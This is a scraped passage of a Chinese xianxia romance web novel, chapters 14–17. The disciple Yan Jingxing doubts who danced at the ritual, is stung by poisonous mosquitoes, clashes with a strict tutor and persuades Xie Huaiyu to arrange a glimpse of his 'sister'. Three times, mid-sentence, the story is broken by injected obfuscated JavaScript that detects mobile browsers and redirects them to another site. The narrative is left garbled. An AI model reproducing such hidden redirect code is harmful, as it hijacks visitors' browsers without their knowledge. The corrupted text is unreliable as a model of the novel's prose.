红鲤并不领情,皱着小脸,老老实实上前,心虚道:“主人。” 来的人是宝君仙子,于规于矩不应窥视,但回想起高台上的风姿,晏景行还是没忍住,抬眼飞快一扫。 这一眼转瞬即逝,快得只是眼珠颤了一下。 诚然,谢宝君容貌绝佳,鹅蛋脸型,黛眉红唇,颜色浓重。乌发如云,柔密如瀑布。仅用两根碧绿簪子,挽了个随意的发髻。 气质如池中清莲,不卑不亢,娉婷傲立。只是不知为何,带了几分伤痛未愈的病气。 14. 识香2 晏景行全身僵硬,原本沸腾的血液慢慢凉下来。他虽看得快,但看得细致。仙子脸上雪白无瑕,没有一点其他颜色,包括左眼眼尾。 那颗烙在他心上的小小红痣,仿佛是他眼花,产生出的错觉。 谢宝君一身水碧色的裙子,拖曳在他低垂的视线中,像是捞了一条清澈的河流裁剪成衣,穿在身上,不动也泛着水粼粼的波浪。裙边点缀着几圈嫩黄的花瓣纹理,看材质应当是用金线所绣。 “红鲤,你又贪玩。”谢宝君的音色虽冷,但能听出几分藏匿在语气中的温柔,“罚你今明两日,在院子里陪我念书,不许出门。” 红鲤苦着脸:“知道了。” 晏景行弯着腰一动不动,本想等主仆二人离开再走,却听见谢宝君咳嗽了两声,问道:“你是今年的新弟子吗?” 晏景行愣了一下,反应过来谢宝君是在跟自己说话,忙回道:“是。弟子晏景行,见过宝君仙子。” 谢宝君翻掌,手指微勾,红鲤当即化作一条一指长的红色锦鲤,鱼尾立在她掌心,小小的腹鳍握住她的手指,口吐人言道:“主人,他是我的知己。” 谢宝君浅笑道:“你懂什么是知己?” “我知道。”红鲤扭了扭尾巴,“喂鱼就是知己!” 谢宝君的目光在地面扫过,晏景行察觉,主动开口道:“弟子不敬,未经仙子许可,摘了这荷花池的莲蓬,请仙子责罚。” “不知者无罪。”谢宝君将红鲤收入宽大的水袖中,“好了,我们回去吧。” 她对着晏景行略一点头,周身一闪,消失在亭中。 晏景行直起身,松了口气。耳边传来一道断折声,他顺着声音望过去,原来是之前打算摘的那朵莲蓬,终于承受不住硕大的脑袋,一头栽进了池塘。 晏景行撑着栏杆翻出去,把莲蓬捡了起来,又翻了回来,心不在焉地喂鱼。喂到一半,他顺手往嘴里塞了一颗。 一股清甜在嘴里绽开,舌尖尝不出一丝莲子心的苦味,满腹心事都因这味道停滞了几秒。 在桃元间时,每到莲蓬成熟时节,晏景行都会带着晏小丘跟洛长生,去无人管辖的荷塘里摘莲蓬。没有哪次吃到莲子心,不被苦到舌根发麻的。 他这才仔细观察起手中的莲蓬,莲子中间的莲子心凭空消失,从小孔这头能直接望穿到另一头。 晏景行有个习惯,每次遇到什么好吃的、好玩的,都会拿给亲近的人分享。因这个习惯,他家里有一堆破铜烂铁,都是他捡回家给晏西施的。 但现在能跟他算得上亲近的两人,都忙得两脚不沾地。整个仙门,除了连长机跟陆思涯,他能找的只有谢怀玉。 想到谢怀玉,心情一下变得复杂。今日见到宝君仙子,只一眼,晏景行便断定,她绝不是祭祀那天的人。 那会是谁呢? 所有人都说,祭祀台上的人就是宝君仙子。 可晏景行相信自己的感觉。 不是。他在心里否认,那个人绝不是谢宝君。跳舞的、赠他铃铛的、掉进他怀里的,另有其人。 蓬莱仙岛能假扮宝君仙子的,能有几人?晏景行思绪辗转,忽闻到风中送来的荷花香气。 晏景行皱眉,乱麻的思绪隐约快要梳理出一条明路。 池塘中荷叶彼此拥簇,荡成一池翠绿的波浪。 他看了一眼亭外,天色已晚,夜风悄然而至。 晏景行忙赶回安陋居,路过红桥,香气氛氲,沾了一身,脑中倏地闪过被忽略的蛛丝马迹。 是香味。 祭祀那天的香味,今日谢宝君身上不曾有,但他却在另一人身上闻见过。 心里装了事,夜里晏景行翻来覆去睡不着,总忍不住把谢怀玉跟天穿那日的仙子混为一人。 偏偏屋外的蝉鸣叫了半宿也没停,把他脑中本就乱成一团的思绪四处牵扯。胸口又乱又烦,他索性起身不睡了。 晏景行臭着脸出门,一股郁闷没处发泄,拿着捕虫网,打算把院子附近的蝉都赶走。结果蝉没少几只,反而被埋伏在树下的蚊虫群殴,叮了一胳膊的鼓包。 仙门蚊虫毒,大概是吸食了天地灵气,痒人一口,痒的时间都比寻常蚊子更长。晏景行双拳难敌四手,气得火冒三丈,神智一失,拿起水瓢朝草木丛中猛泼冷水。 可惜蚊虫不惧水,顶多翅膀打湿飞得慢些。晏景行心生一计,把水瓢往缸里一丢,拿出火折子,施法点燃。 控火术让黄豆大小的火焰,瞬间涨势成火把大小,蚊虫在火光下无处遁形,畏光乱窜,树下黑压压一片,密密麻麻,犹如虫卵。 晏景行心里畅快了一些,火把所过之处,落下一地烧焦的蚊虫尸体。更深的地方烧不着,他探身进入草丛,挥臂间撞到不少蚊虫。 附近的蝉早就识时务地飞走了,只剩见了棺材也死性不改的蚊虫,跟他斗智斗勇。 “呸呸!”晏景行张嘴吃进去几只蚊子,连忙吐了出来,捂着嘴道,“能飞了不起吗?过几个月我也能飞!” 他用力一甩火折子,甩飞几点火星。其中一点,正巧落在林伯用来引火的易燃草料上。 林伯睡得正熟,闻见一股烟火味,以为晏景行起了个大早,抢在他前面做饭。 他睁开惺忪的双眼,窗外飘着白烟,定睛一看,那滚滚浓烟正顺着窗缝往屋里钻。 林伯心下一沉,从床上翻身而起,大步跨出门。 水缸附近湿了一地,他低头往里一看,个个见了底,喝声道:“晏景行!你又做了什么混账事!” 好容易把火扑灭的晏景行,看着镜子中,自己灰一块白一块的花脸,背对林伯,把沾到的草木灰用袖子擦干净,这才转身,讪讪地笑道:“林伯,早上好。” 林伯不吃他这一套:“我问你,你都做了什么?” 晏景行想起蚊子对自己的欺凌,恨得牙痒:“我晚上睡不着,起来打蚊子。” 林伯道:“这十几缸水是蚊子喝光的?那几堆草料也是蚊子吃没的?” “这怎么可能呢。”晏景行看他的眼神充满不理解,“林伯,你是不是没睡醒?蚊子是吸血的。它要真喝水吃草,我还打它做什么。” “你也知道!”林伯猛一拍桌,“你是不是在院子里玩火,把柴点燃了?!” 晏景行是个察言观色的人精,一见林伯这是真生气了,低下头道:“林伯我错了,水我会重新挑,柴我也会重新劈好,你别生气,气坏了身子就不好了。” 林伯斜睨他一眼:“你要真这么担心,那烟飘进我屋里头,怎么不叫醒我?” 晏景行愣了一下,实话实说道:“忙着灭火,忘了。” 院子里狼藉一片,林伯看着就头疼,他作息一贯规律,打算回屋继续睡:“你惹的祸,自己收拾干净。” “好好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540503|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”晏景行知道这是不追究了,顺台阶就下,“林伯,你放心,等你醒了,一切都跟往常一样!” 还没到正常天亮的时辰,但估摸着也快了。晏景行加快挑水的脚步,在林伯醒前,将院子打扫得焕然一新。 水挑满了,柴劈了一大半,剩下的实在赶不及。 林伯倒是没说什么,照常做了两个人的饭,让他歇会儿,吃完再继续。 等劈完柴,太阳已挂在头顶。 晏景行坐在屋檐下遮阴,一闲下来,胳膊便发痒,他忍不住抓了两下,更是奇痒无比。 一条条血痕遍布,像被鞭打过。他不敢抓了,并着五指抽打发痒的表皮。痛感解了痒瘾,效果虽好,但时间短,手不能停。没多久,手指便又痛又热。 晏景行扒着林伯的窗户,朝里面喊:“林伯,我胳膊好痒,你有没有药?” 林伯道:“我这里没有,你去仙门的掌药谷问他们拿。” 晏景行问了地方,一路掐着胳膊赶过去。 掌药谷位于蓬莱仙门一处隐蔽洞府,顺着一片紫藤萝进去,里面别有洞天。 到了地方,却被守门弟子告知掌药谷的钥匙不见了,门打不开。 晏景行痒得直流泪,蹲在地上问:“那你们为什么还要守门?” 弟子一愣,跟旁边的人对视一眼:“对啊,我们为什么还要守门?” 另一人见晏景行神情颇为痛苦,于心不忍道:“你要是在仙门有认识的师兄,可以去碰碰运气,看他们那儿有没有药。” 晏景行问:“哪些师兄会有药?” “像沈师兄,祝师兄他们啊。”弟子眼含羡慕,“凡领任务出仙门斩妖除魔的弟子,不论成败,仙门都会给丹药疗伤或者恢复消耗的法力。” 晏景行含着眼泪,心想:“沈师兄……应该是行不通了。祝师兄最近,好像不在仙门。还能有谁呢?” 他蹲地的姿势结合动作,离远了看,像是从山林闯入仙门的猿猴,局促地在人前又抓又挠。 进不去掌药谷,晏景行只好离开,打算去连长机那里碰碰运气。 到了飞云居,同屋的弟子告诉他,连长机不在仙门,大概又跟着祝师兄满妖山魔窟地折腾去了。 这人跟连长机住在一屋,也是天赋不错的双灵根,谁知竟有晕血之症,遂放弃了杀妖见血的剑修,选择了符修。 晏景行跟他说话间,不停地抓挠胳膊,痒得眼泪花不停往外淌,恨不得一拳把走廊的柱子打塌。 “你这看着也太严重了。”弟子语气担忧,“我这儿没有药,要不我去问问沈师兄?” 晏景行胳膊上全是血痕,他侧过身尽量不让弟子看见:“谢谢你啊,不过……” 他话没说完,弟子当即转身,抬手正要敲门,里面的人却在他之前走了出来。 “沈师兄!”弟子面上一惊,指着晏景行道,“你看看他,好像中了什么毒。” 仙门内有眼睛的人,都能看出沈端宁心性带傲。被少岛主撤职,他闭门三日,出来后看着与平常没什么两样,但身边的弟子却隐约察觉,他比以前好说话了许多。 也是如此,这名弟子才敢说出找沈师兄的话。 沈端宁撩起晏景行的衣袖,细察片刻,放下道:“是三毒蚊。” 他抬起眼皮,看了一眼俊脸有些狰狞的少年,问道:“你怎么招惹上那些东西的?” 15. 识香3 晏景行坦白交代,换来沈端宁颇为不解的目光:“这种事以后不要再做。蓬莱仙门,凡是生灵,都有一定的灵性或邪性。三毒蚊的三毒,乃毒性三种程度。轻为痒,中为痛,重为麻,幸亏你运气好,只中了最轻的症状,涂几天药就没事了。” 旁边的弟子后怕道:“原来还有这种说法。” 晏景行记下教训,当即保证再不冲动。 沈端宁从袖中拿出一瓶药膏:“一日三次,涂在痒处,不可再抓挠。” 晏景行惊讶地接过药膏,看沈端宁的神情并无一丝勉强,心里闪过疑惑,还没来得及开口道谢,身旁的弟子推了推他:“愣着干什么,还不快谢谢沈师兄?” “多谢沈师兄。”晏景行一刻也等不及,当场拧开瓶口,把痒处敷了一遍。 三毒蚊为热性,此药为凉性,两者相遇,互相抵制。到底是药性更胜一筹,药膏浸入皮肤,泛起丝丝缕缕的凉意,见效甚快。 沈端宁略一点头,没多言语,重返屋内。 那弟子还没走,看一眼紧闭的房门,凑到他身边,低声道:“诶,你发现没,沈师兄好像变得比之前更平易近人了。” 晏景行把衣襟扯开些许,手指抹了一层药膏,一下接一下涂在脖子上,动作跟刷漆没什么两样。 听了弟子的话,他回想了一番之前的沈端宁,的确跟现在有些变化,便点点头道:“相处久了,自然不会像以前那样生分。” 待他涂完药,弟子问道:“你住青客居吗?怎么好像没怎么见过你。” 晏景行整理好衣袍,冲他一笑:“我住在安陋居。” “安陋……”弟子若有所思,想起什么,猛地瞪大双眼,“你是、你是那个五灵根的弟子吧?” 似乎下一秒,他就要脱口而出一句“久仰大名”。 晏景行张开双臂,大大方方在他面前转了一圈:“没错,是我。多给你看两眼,看完我就去吃饭了。” 折腾了半天,他早已饥肠辘辘,也不管那位弟子是否还有话要说,挥挥手便往吃饭的地方去。 刚填饱肚子,痒意又发作,晏景行忍不到回安陋居,乱中取静,寻了处偏僻地匆忙涂药。 涂到一半,不知哪里飞来一本书,正砸中他肩头。 书本厚似金砖,晏景行不顾肩膀后知后觉的疼痛,茫然捡起书,封面《蓬莱仙经》四个字映入眼帘。 他环顾四周,隔着窗户,跟一夫子打扮的老者对上视线。 老者蓄着一把并不浓密的山羊胡,满头白发,皮肤黑瘦,立在那里像个干巴巴的木偶。若是头顶有角,乍一看,还真有几分像跃崖淌水的山羊。 他衣冠简朴,却寸寸平整,一丝褶皱也无。此刻指着晏景行,吹胡子瞪眼道:“光天化日,衣衫不整,成何体统!” 晏景行拢了拢衣领。 “马上就要到天狗之逐了,竟还做出如此不顾体面、不合规矩之事。到时候被其余宗门看见,沦为笑柄,岂不丢了我们蓬莱仙门的颜面!” 他越说越激动,已然把敞开衣领,归为一件十恶不赦的罪孽。 一项项罪状帽压下来,晏景行偏头一躲,瞅准时机,抬手道:“停,停!” 老者话语中断,脸上出现一丝错愕,好似晏景行不是抬手打断他的话,而是直接一巴掌扇在了他脸上。 “老伯,你是谁呀?”晏景行眉心微皱,不解地看着他,“为什么要躲在屋里偷看我?光天化日,窥人隐私,成何体统?” 说完,他心里有个小人得意地喊了一声:“将军!” “你!你这竖子好生无礼!”老者一掌重落窗台,厉声质问,“你不知道我是谁?” 晏景行下巴冲着他道:“我又没有通晓人心的本事,怎么会知道你是谁?” 老者道:“我乃蓬莱岛主请进仙门,授课讲学的教书先生。你身为学生,见了先生,就是这般态度?” 晏景行一听教书,脸色一变,赶紧道:“我又没听过你讲学,算你哪门子学生?” 老者道:“这可由不得你。明日仙门授课,你且等我记你的名!” 晏景行仿佛听见老者脑中也有一个小人,得意地向自己反击:“你将不了我的军,还得赔上自己的兵。” 讲学还没开始,先跟教书先生起了口舌之争。一想到课上的画面,说是水深火热也不为过。 “你怎么不言语了?”老者见他闷头一言不发,捋着胡须,神态颇傲,仰天教导,“像你这样的学生,我见得多了。无非是些初出茅庐的混小子,不知天高地厚。书到用时方恨少,事非经过不知难,平时不磨剑,上阵杀敌时又如何取胜?你们……” 他转头一看,地面空空如也,哪里还有半个人影,顿时一口气堵在胸口,不上不下,无法发泄。 晏景行从念经一般的絮叨中逃出来,直往前走,一刻也不敢停。等出了那片地方,他才知道,原来自己无意间闯入了一间书院。 实际上却并非如此,此处只是仙门应老者要求,建成书院样式的住所罢了。 那位教书先生还真没诓骗晏景行,第二日上午,祝风歌的传音符便出现在院子里的木桌上。 林伯少见地闲下来,煮了壶茶,慢悠悠品着,提醒道:“仙门有消息。” 晏景行闷头劈柴,充耳不闻。 林伯又道:“仙门传消息来了。” 晏景行擦了擦汗:“林伯,我去挑水。” 林伯扫了一眼溢满的水缸:“你今日已经挑满了,仙门有消息。” 晏景行顿了一下:“那我去浇菜,浇完再去挑水。” 林伯把茶杯轻轻往桌上一放,杯盖合上,发出一声脆响,他斜睨着晏景行:“你小子又惹什么事了?” “是事惹我!”晏景行憋不住事,一有人问,话如豆子般往外滚。他把斧头往地上一丢,坐在一堆木材里,“林伯,你在这里这么多年,可认识仙门的教书先生?” 想到那个教书先生,一肚子憋屈又涌了出来。他不过是涂个药,平白被一顿说教。本想着惹不起便躲,谁知现在躲也躲不开。 林伯摇摇头,端起茶轻啜一口:“你惹了那个老顽固,怕是有苦头吃了。” 晏景行耷拉着眉眼:“林伯,您怎么还笑话我,快想办法救救我啊!” “救不了。”林伯长舒一口气,“你且受着他的教训,不与他顶嘴就是。” 伸头一刀,缩头也是一刀,晏景行爬起来,衣摆的灰也懒得拍,直接拆阅祝风歌的传音符,果然是讲学的事。 他顺着身后的椅子倒下去,叹了口气:“我不爱读书,怎么跑到蓬莱了都躲不过啊!” 林伯道:“古人都说三更灯火五更鸡,正是男儿读书时。你若胸无文墨,不通事理,在此道上必不能长久而行。” 他给晏景行倒了一杯茶,茶烟散开,隔在两人之间。 林伯眼神认真道:“此次讲学,大多跟修道有关,有助于你们日后的修行,并不全是些酸腐的大道理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540504|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教书的就是个酸腐的老古董,还能不讲酸腐的道理? 晏景行不太相信。他喝了林伯倒的茶,还是老老实实地按信上所说,准备好笔墨纸砚,放在书袋中,挎着它听学去了。 书袋是耐磨的灰色料子,摸着很舒服,像是担心跟着晏景行蹉跎,足足缝了三层。想来林伯早就知道会有讲学一事,所以提前做了一只,甚至还在上面绣了一只五色雀。 虽谈不上栩栩如生,但也算憨态可掬。 所有弟子们齐聚隐云殿,等待许久的祝风歌才开口:“近段时间,众师弟修炼如何?” 场面静默了片刻,逐渐有窃语声此起彼伏。 祝风歌耳廓一动,捕捉到出现最多的一句话——修行出现滞缓。 他微笑道:“大家的问题我都切身体会过,所以很能理解。今日特用传音符召集你们,从自备物品来看,想必你们也猜到了缘由。” 晏景行在心里叹了口气。 “求仙问道,该如何求,又要问谁。前方迷津,需一指路人。”祝风歌拿出签筒,里面装着两色木签,“蓬莱仙门于今日,召开新弟子听学,时间分为上午与下午。先抽签,抽完登记。登记完,带你们去书院看看,顺便认认路。” 晏景行抽到下午的签,举起来对连长机跟陆思涯晃了晃。两人心领神会,不约而同回以口型:“下午。” 他正要窃喜,听见祝风歌继续道:“抽到上午的弟子,认了书院的路便回去,下午的则开始听学。讲学先生尊名颜文渊,对学生一向严格,切记尊师重道,不可顶撞先生。” 嘴角的笑容还没来得及展开,就被这句话打了回去,晏景行两条手臂无力悬在身前,不知道第几次叹气。 祝风歌领着弟子们,路上不时提点几句,很快到了书院门口。 上午听学的弟子记下地方,纷纷离开。剩下一部分鱼贯而入,多看两眼周围景象的时间都没有。 书院黛瓦白墙,墙角稀疏摘种着几棵未开的梅花。正中的牌匾上,“云松书院”四个字走势工整,透着一板一眼的顽固。 晏景行夹在连长机跟陆思涯之间,猫着腰,左顾右盼。 陆思涯不由问道:“景行,你今日怎么这么安静?” “有吗?”晏景行眼神来回飘忽,就是不往他身上瞟,“我一直挺内敛的啊。” 陆思涯笑而不语。 书院讲堂通阔,一行六张书桌,摆了十行。窗户占了半面墙,南北各一扇。窗台外,一排梧桐叶绿滴翠,隐约能听见外院的流水声。 讲台后的墙上,挂满了催人奋发的字句。什么“天道酬勤”“戒骄戒躁”,一眼望过去,晏景行半点奋发的念头都没有,反而看出几分困意。 他小声疑惑:“我怎么觉得,人越来越少了?” 连长机道:“大多人修仙,一为长生,二为常胜。真入了此道,才发现长生需修,常胜需战,死的概率比活着大多了,说不定哪天斩妖除魔,便命丧黄泉。得知这些,自然是马不停蹄地跑了。” 说话间,三人随人流进了屋。书桌上已备好一本书,晏景行一眼过去,肩头隐痛,是那本熟悉的《蓬莱仙经》,不过后面多了两个字:卫道。 他挑了最后一排,靠角落的位置坐下,对停下脚步的两人摆手道:“你们别管我,自己挑自己的。” 于是连长机跟陆思涯继续往前,坐在居中的位置。 祝风歌在门口笑如春风拂面:“诸位师弟,先生马上就到,我就先告辞了。” 16. 识香4 讲堂内,弟子们正襟危坐,一阵轻缓有力的脚步声响起,众人侧目朝门口看去,进来一位朴素的老者。他双手揣着一根三指宽的戒尺,黑色儒巾帽如同一栋时年久远而缺柱断壁的危楼,摇摇欲坠地扣在头顶。 鹰隼的目光,似冷箭刷刷而过,弟子们瞬间齐齐低头,生怕被削平了脑袋,盯着书本,大气也不敢出。 他们中大多人正值读书年纪,对先生有着天生的畏惧。 晏景行头几乎埋进胸膛里,不断默念道:“认不出我认不出我。” 夫子有自己的规矩,上了讲座前,拿出一卷竹书:“虽时间紧迫,但鉴于授课时间长达半年,凡点到名者,起身让我认个脸。” 晏景行暗道一声:“要完!” 众弟子面面相觑,心觉几分古怪,但不敢有异,听见名字便站起身。 “孟郡良。” “明湛。” “陈古意。” 颜文渊的目光在每个弟子身上,雨露均沾地停留一秒。 “……” “晏景行。” 角落里,一个人受惊兔子般弹起又坐下,身影几乎快成一道虚影。晏景行捂紧心脏,趴在桌上小心喘气。 这么快的速度,连他自己都没反应过来,那老头也一定没看清。 不过这也只是缓兵之计,一个屋子里,他迟早会被认出来。 颜文渊敲敲桌面,提笔在“晏景行”三个字旁勾了一个小圈。点名结束,他用戒尺拍了拍讲座:“这本《蓬莱仙经·卫道》,乃本人亲自收编整理,凡疑惑之处,尽可提问。” 晏景行撇撇嘴,翻开第一页,本以为会是满篇之乎者也,不曾想第一句话,就夺走了他的注意。 “天地混沌生盘古,三世六界创万神。” 这不跟话本里的那些传闻差不多的吗? 他略带疑惑地阅读,一读便一发不可收拾,沉浸在书里,讲座上颜文渊的话一字未听。 授课是没有休息时间的,颜文渊口若悬河,一连讲了两个时辰,滴水未沾,也才把蓬莱仙岛跟其他几座仙洲讲了个大概。 晏景行中途三毒发作,痒得不行。然而室外脱衣涂药都被一顿批,更别提在课上做出此举。无奈之下,他只好把身子蜷成虾状,慢慢往桌下滑。 眼睛放哨盯着先生,手指飞快解开衣襟,挖了一坨药膏,不管位置对不对,撞上去就抹。 囫囵涂了药,大部分地方止了痒,终于听见颜文渊道:“今日授课就先到这里,明日继续。” 他合上书,把戒尺卷进竹书里,说完这句便离开了。 讲堂里的弟子,枯萎禾苗般恹恹倒在桌上,一眼望过去,说不出的整齐。 连长机揉了揉眉心跟太阳穴,神智清醒了些,起身道:“走吧。” 出门时,晏景行身上的药味还没消散完,他散漫地伸着懒腰,打了个哈欠:“饿死了,你俩不吃饭打算去做什么?” 连长机道:“回去看书。” 晏景行惊道:“不是吧?” 陆思涯道:“明天的听学不会比今天轻松,还是多做些准备吧。” 晏景行把书袋往腰后一转:“明天的事明天再说。” 仙门用饭的地方,实际上是食修弟子们修炼的大殿,名字也十分接地气,叫饱了殿。 还未进殿,饭香已钻进鼻中,晏景行三步作一步,跃上台阶,余光瞥见一道白影,忙不迭扭头,差点摔倒。 “谢琢!” 他欣喜地喊了一声,几步追上去,手快地往人肩上拍,哪知前面的人回过头,他拍肩的手没收住,落在了谢怀玉锁骨处。 隔着衣物,碰到也没什么大不了的,晏景行顺便给他理了理衣襟,笑道:“要不要一起去吃饭?我闻到味儿了,今天有糖醋鱼!” 谢怀玉依旧是那副从容不迫的清冷模样,似乎一年三百六十五天都不会变。他张了张嘴,拒绝的话还没说出口,晏景行已勾过他的肩,把人往饱了殿带:“尝尝吧,这里的食修做饭很好吃。如果你不喜欢,还有好多其他菜呢!” 谢怀玉一出现在殿内,全场寂静,抢菜的、颠锅的都停下了动作。 晏景行对这一切浑然不觉,他把谢怀玉按在自己常坐的位置上,端着盘子去拿菜。 “怎么回事?”跟他混了个眼熟的食修弟子问道,“你怎么跟少岛主一块儿来的?不对,少岛主怎么会来吃饭呢,他可是、可是少岛主啊!” 晏景行奇怪地看了他一眼:“吃饭怎么了,少岛主也是人啊。” “师弟,我看你是新来的吧?”弟子边颠锅边道,“你知道少岛主如今什么修为吗?洞虚!那可是马上就能飞升的阶段!” 晏景行端了两盘看起来令人口舌生津的菜肴,点头道:“那又如何?” 弟子手臂一抬,锅中菜停滞半空,他一伸盘,菜肴已布好。 “之前也陆续有弟子跟少岛主走得近,”他把刚出锅的菜往旁边的桌上一放,等待的弟子端上便走了,“结果呢?要么现在走路都躲着少岛主,要么直接退出仙门,道都不修了。” 难怪谢琢现在这么不好接近,晏景行皱眉道:“肯定是他们惹了谢琢不快,真可恶!” 弟子被他这反应惊到:“你还没听明白吗?少岛主这种身份地位的人,稍微不注意,触了他的逆鳞,是没什么好下场的!” 晏景行道:“我为什么要触他的逆鳞?还有,以后的稀有菜品给我留一份。否则,我就把你私下议论少岛主的事情告诉他。” “别啊!我不说了还不行吗?”弟子一慌,连忙道,“你要什么菜品,自己拿就是了,以后也给你留,你可千万别害我啊!” 晏景行哼了一声,没给准话,端着菜,回到谢怀玉对面坐下。 “看看,糖醋鱼!糯米莲藕!米花糕!” 他每取出一盘菜放在谢怀玉面前,都要抑扬顿挫地念出菜名。 “尝尝啊。”晏景行把筷子放在他手上,“可惜今天没有辣口的,我最爱吃辣了。” 谢怀玉捏着筷子,眼神茫然,像是不知道该夹哪盘菜。半晌,才道:“我不会吃饭。” 他一出生,便饮仙露吃仙果,辟谷后干脆这两样都不沾了,一心投入修道中,人间烟火半分不通。 辟谷过的仙修,其实是可以满足口腹之欲的,那些食物在腹中转化吸收,可直接用灵力化去,但谢怀玉却从未起过兴致。 不止这些,他的七情六欲也极其淡薄。宛如一汪死水,虽存在,却很难泛起波澜。 晏景行叼着鱼尾,“啊”了一声。 “那,”他眨了眨眼,“我喂你?” 谢怀玉沉默片刻,道:“不是教?” 晏景行呛了一下:“我一时忘了,哈哈哈哈。来,我教你。” 对于谢怀玉不会吃饭这件事,他没露出不可置信的神情,也没有像平常那样追问,只是心里无端一沉。像水面的浮萍,压了一块沉重、却不足以让它淹没的石头,不上不下,悬在随时会崩溺的边缘。 晏景行从面对面的位置,换到谢怀玉身边:“筷子是这样拿的。” 他抽出谢怀玉手中的筷子,捏着他泛着凉意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他转身离开,衣袖忽被人扯住不放。 手中布料如纱,质感冰凉光滑,晏景行忍不住搓了两下,神情有些扭捏道:“谢琢,你能不能帮我一个忙?” 谢怀玉盯着他的手,无意识抿唇,水波般优美的唇线变得平直,给人一丝锐利的疏离感。 “谢琢,小琢,求你了。” 晏景行从小就是个会察言观色的苗子,每次晏西施生气要揍他时,他就会用撒娇服软这招,虽然大多时候并不管用。 不过,他私以为是因为晏西施心如铁铸,比不得正常人。 他哀哀地叹了口气:“你是我来仙门,第一个愿意出手帮我的人。” 正在屋内轻拭琵琶的祝风歌,打了个喷嚏。 “我没有其他办法,只能找你了。” 谢怀玉听完,把衣袖从他手中扯了出来。 “蓬莱仙岛管事的,不止沈端宁和祝风歌。灵文殿、千星阙、六戒堂都有管事的人,以后你遇事可以去那里。还有,”他回味了一遍晏景行给他的称呼,仍觉不太自在,“不要叫我小琢,我有名字。” 晏景行摇头:“这个忙,恐怕只有你才能做到。” 说完这句,他不死心道:“你不喜欢小琢吗?我觉得很好听啊。” 谢怀玉顿了顿,没抵住他乞求的目光,开口道:“何事?” “不可能。” 听完晏景行的话,谢怀玉拒绝得很干脆:“我不会帮你引荐的。” 17. 识香5 晏景行忍不住靠过去。 他身形本就不单薄,来蓬莱后,日日锻体,又长高了一截。肌肉是一种赏心悦目的蓬勃,恰到好处,并不夸张。 谢怀玉被他笼罩在阴影里,有些不适,正要用法术把他移开,晏景行已做出低声下气的模样,恳求道:“谢琢,就一面好吗?就让我见仙子一面,不说话也行,不让她知道也行,我就躲在暗处偷偷看一眼,行吗?” “不行。”谢怀玉仍旧是这个回答,语气却没之前那般坚定。 晏景行一见有希望,双手合十,求仙拜佛一样对着谢怀玉晃:“都说人美心善,谢琢,你是我见过最好看的人,天上神仙都比不上,你就发发善心帮帮我,好不好?” 两人之间的距离,缩减到几乎可以说是亲密的范围,晏景行看清了谢怀玉每一根睫毛,以及眼尾那颗小小的红痣。 他心里划过一丝确信,继续道:“如果你不帮我,我以后每次见面都这么缠着你。” 谢怀玉抬眸,冷声问:“你威胁我?” “不不不。”晏景行赶紧改口,“如果你不帮我,那我……那我便逢人就说,我见过蓬莱少岛主。不仅美若天仙,而且香气袭人。” 他刚说完,胸口落下一掌,不疼,但瞬间后退了十几米。 安静蹲在屋檐上的五色雀,感受到灵气波动,扇动双翅钻进了树林。 晏景行抬头一看,谢怀玉眉宇蕴着一丝怒气,喝道:“晏景行,你在说什么浪荡之言?” 晏景行不明所以,小声道:“哪里浪荡了,我只是实话实说,小琢你本来就很香。” “住口。”谢怀玉打断他的话,过了会儿,他耳根微热,问道,“你为什么要见我……我姐姐?” 晏景行本以为希望落空,一听这话瞬间欣喜地抬起头,小跑过来,停在谢怀玉面前,脸颊泛红:“因为,因为我喜欢她。” 谢怀玉心里微妙:“喜欢?” “用书上的话说,就是仰慕,爱慕,心悦。”露骨的话一出,晏景行脸更红了,“我不求她看我,我只想看她一眼就够了。” 谢怀玉不知为何沉默下来,睫毛微垂,遮住了复杂的眼神。 喜欢?心悦? 他眼底划过一丝轻嘲,连人都分不清,这份喜欢又有多少真心?既然如此,不如让他见一面,趁早歇了心思。 “我可以帮你。”谢怀玉考虑好,看向晏景行,“不过你得说到做到,只是暗处看她一眼,不可惊扰。” 多日心愿突然了结,晏景行恨不得一蹦三尺高。他一把抱住谢怀玉,原地跳了两下:“多谢小琢!多谢小琢!” 健壮有力的胳膊轻松环住谢怀玉,他生平头一回跟人这么亲密,脑中一片空白,直到晏景行松开,才逐渐回神。 “对了。”晏景行看着他,脸上止不住的笑意,“我们什么时间,在哪里见面?” 谢怀玉往后退开,深吸了一口气,等心绪平静,他才回答道:“明日辰时,紫竹园。” 话音落下,他的身影化作一阵光影消失不见,只剩晏景行怀里还有些香味没散完。 他低头看了看自己的双臂,呢喃道:“小琢抱起来,怎么……怎么那么瘦,那么软?” 从跟谢怀玉约好那刻,晏景行再没有心思做其他事。捱过一夜,仍静不下心,在院中到处折腾,被林伯赶出了安陋居。 于是他干脆提早来到紫竹园,选了座可藏人的假山躲在里面。 